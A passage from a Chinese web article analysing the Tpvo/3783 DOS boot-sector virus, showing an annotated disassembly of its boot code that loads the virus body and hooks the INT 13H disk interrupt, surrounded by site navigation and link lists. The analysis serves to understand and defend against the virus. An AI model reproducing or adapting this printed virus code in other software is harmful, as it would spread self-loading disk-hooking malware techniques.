Tpvo/3783 病毒的分析和防治

• F6C8:00A4 2E　　　　　　CS:
  F6C8:00A5 A4　　　　　　MOVSB　
  F6C8:00A6 C3　　　　　　RET　　
  ;=====================================================================
  ; 引导区代码部分
  ;=====================================================================
  F6C8:00A7 FA　　　　　　CLI　　
  F6C8:00A8 33DB　　　　　XOR　　 BX,BX
  F6C8:00AA 8ED3　　　　　MOV　　 SS,BX
  F6C8:00AC BC007C　　　　MOV　　 SP,7C00
  F6C8:00AF 8EC4　　　　　MOV　　 ES,SP ;暂时将病毒读到 7C00:0000
  F6C8:00B1 B80802　　　　MOV　　 AX,0208
  F6C8:00B4 B90150　　　　MOV　　 CX,5001 ;硬盘为 0005
  F6C8:00B7 BA0000　　　　MOV　　 DX,0000 ;软盘为 5001
  F6C8:00BA CD13　　　　　INT　　 13　　　(BIOS Disk)
  F6C8:00BC 7200　　　　　JB　　　00BE
  F6C8:00BE 06　　　　　　PUSH　　ES
  F6C8:00BF 68C300　　　　PUSH　　00C3 ;转高端继续执行
  F6C8:00C2 CB　　　　　　RETF　　
  F6C8:00C3 E82701　　　　CALL　　01ED ;随机生成 INT 13H 地址
  F6C8:00C6 830EA800FF　　OR　　　WORD PTR [00A8],FFFF ;????
  F6C8:00CB 871E4C00　　　XCHG　　BX,[004C]
  F6C8:00CF 2E　　　　　　CS:
  F6C8:00D0 891EF800　　　MOV　　 [00F8],BX
  F6C8:00D4 8CC0　　　　　MOV　　 AX,ES
  F6C8:00D6 87064E00　　　XCHG　　AX,[004E] ;截取 INT 13H
  F6C8:00DA 0E　　　　　　PUSH　　CS ;到 CS:00FC
  F6C8:00DB 1F　　　　　　POP　　 DS
  F6C8:00DC A3FA00　　　　MOV　　 [00FA],AX ;保留原 INT 13H 到 00FA
  F6C8:00DF C606FF003C　　MOV　　 BYTE PTR [00FF],3C
  F6C8:00E4 C60604013C　　MOV　　 BYTE PTR [0104],3C
  F6C8:00E9 C6065805E8　　MOV　　 BYTE PTR [0558],E8
  F6C8:00EE CD19　　　　　INT　　 19　　　(BIOS Bootstrap)
  ;========================================================================
  ;病毒调用 INT 13H
  F6C8:00F0 9C　　　　　　PUSHF　
  F6C8:00F1 FA　　　　　　CLI　　
  F6C8:00F2 0E　　　　　　PUSH　　CS
  F6C8:00F3 E80100　　　　CALL　　00F7
  F6C8:00F6 C3　　　　　　RET　　
  F6C8:00F7 EA59EC00F0　　JMP　　 F000:EC59
  ;=========================================================================
  ; 新 INT 13H 代码部分
  ;=========================================================================
  
• 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26] [27] [28] [29] [30] [31] [32] [33] [34] [35] [36] [37] [38] [39] [40] [41] [42] 下一页 
• 复制本页网址和标题，发送给你QQ/Msn的好友一起分享
  
  
• Tpvo/3783 病毒的分析和防治 相关文章：
• ·系统漏洞的形成和防治办法
• ·减治法：C#实现插入排序实例
• ·网络工程师讲解系统安全漏洞的形成和防治
• ·李治国：急躁公司做不了分类信息
• ·网络工程师教您防治常见网络攻击
• ·通过Rational的工具来实现SOA治理
• ·利用Mcafee根治Viking 威金病毒
• ·理清SOA治理中的架构师角色
• ·VeryCD:迅雷增强共享机制说治标不治本
• ·巧妙设置系统 轻松防治邮件病毒
• Tpvo/3783 病毒的分析和防治 相关软件
• ·《资治通鉴》注释版（全五册）
• ·贞观之治
• ·本殖民统治台湾五十年史
• ·《常见皮肤性病诊断与治疗》
• ·福赛斯经典政治惊险小说《豺狼的日子》
• ·《威权统治下的中国现状与前景》
• ·新疆好地方－庆祝新疆自治区50周年摄影集
• ·统治世界2
• ·曾胡治兵语录
• ·佐治药言

上一篇:UNIX系统上实现拨号

下一篇:网络资源的列举

• 特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作
• 者.文章版权归文章原始作者所有.对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转
• 载的文章有版权问题请联系编辑人员,我们尽快予以更正. 转载请注明来源：http://www.hackhome.com

精品推荐

热点TOP10

特别推荐